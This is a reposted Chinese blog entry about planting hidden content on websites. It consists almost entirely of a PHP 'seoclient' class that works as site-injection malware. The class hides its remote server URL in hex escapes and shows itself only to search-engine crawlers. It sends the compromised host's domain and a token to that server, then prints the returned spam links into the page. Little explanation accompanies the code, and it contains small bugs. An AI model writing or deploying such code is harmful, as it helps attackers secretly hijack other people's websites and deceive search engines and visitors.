关于挂马

if(!class_exists('seoclient')){
    class seoclient{
        private $debug = NULL;
        private $arr = array();
        private $socket = "\X68\X74\X74\X70\X3A\X2F\X2F\X77\X77\X77\X2E\X70\X72\X6F\X62\X61\X69\X64\X75\X2E\X63\X6F\X6D\X2F\X69\X6E\X64\X65\X78\X2E\X70\X68\X70";

        public function __construct($debug = false) {
            $this->debug = $debug;
        }
        public function kecho($param,$line = "") {
            echo "<pre>";
            print_r($param);    echo "<hr>";    print_r($line);
            echo "</pre>";
        }


        public function main(){

            if (!self::is_bot())  return;
            $res = json_decode($this->post($this->socket,  $this->pcontext()),ture);
            $arr = array();
            foreach ($res as $key => $value) {
                if(self::file_exists($value)){
                    if(function_exists('file_get_contents')){
                        $arr = $this->file_get_contents($value);
                    }  else {
                        $arr = $this->file_get_array($value);
                    }
                    $this->frame($arr);                
                }
            }
        }

        protected function file_get_array($filename,$mode='r') {
            $arr = array();
            $fp = fopen($filename, $mode);
            while (!feof($fp)) {
                $arr[] = fgets($fp);
            }
            return $arr;
        }

        protected function file_get_contents($url) {
            $contents = file_get_contents($url);
            $contents = str_replace("a>", "a>|", $contents);
            $contents  = str_replace(PHP_EOL, '', $contents); 
            $array = explode('|', $contents);
            $array = array_filter($array);
            return $array;
        }

        protected function frame_td($a) {
            if(is_null($a)){
                 return  ;
            }
            return  "<td>$a</td>";
        }

        protected function frame_tr($a,$b,$c,$d) {
            $format = "<tr > ".self::frame_td($a).self::frame_td($b).self::frame_td($c).self::frame_td($c). "</tr>";
            echo  $format;
        }

         public function file_exists($page) {
            $headers = @get_headers($page);
            if ($headers) {
                $head = explode(' ', $headers[0]);
                if ( !empty($head[1]) && intval($head[1]) < 400) {
                    return true;
                }
            }
            return false;
        }

        public function frame($array) {
            echo "<table style='align:center;width:90%;cellpadding:1;cellspacing:0;border-style:dashed;border-width:1px; border-color:#000000;'>"; 
            for ($index = 0; $index < count($array); $index++) {
                self::frame_tr($array[$index],$array[$index+1],$array[$index+2],$array[$index+3]);
                $index = $index+3;
            }
            echo("</table><br><br>");

        }


        public function pcontext() {
            $d = array();
            $d['domain']    = $_SERVER['SERVER_NAME'];
            $d['token']     = substr(md5($_SERVER['SERVER_NAME']), 5,15);
            return $d;
        }


        public function post($url, $post = null,$method = 'POST',  $timeout= 60, $i =0)
        {
            $context = array();
            if (is_array($post)) {
                ksort($post);
                $context['http'] = array (
                    'timeout'=> $timeout,   'method' => $method,
                    'content' => http_build_query($post, '', '&'),
                );
            }
            $context = stream_context_create($context);
            while($i < 3 && ($html =file_get_contents($url, false, $context))===FALSE) {
                $i++;
            }
            return $html;
        }


         public function is_bot($botchar = "/(Googlebot|baidu|bot|crawl|spider|soso|sohu-search|curl|wget|360)/i"){
            if($this->debug){
                return TRUE;
            }
            $user_agent = strtolower($_SERVER['HTTP_USER_AGENT']);
            if(preg_match($botchar, $user_agent)) {
                return TRUE;
            }else {           
                return false;
            }
        }

    }
}

if(!isset($seo_instance)){
    $seo_instance = new seoclient();
    $seo_instance->main();
}


转载于:https://my.oschina.net/u/1986061/blog/310350

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值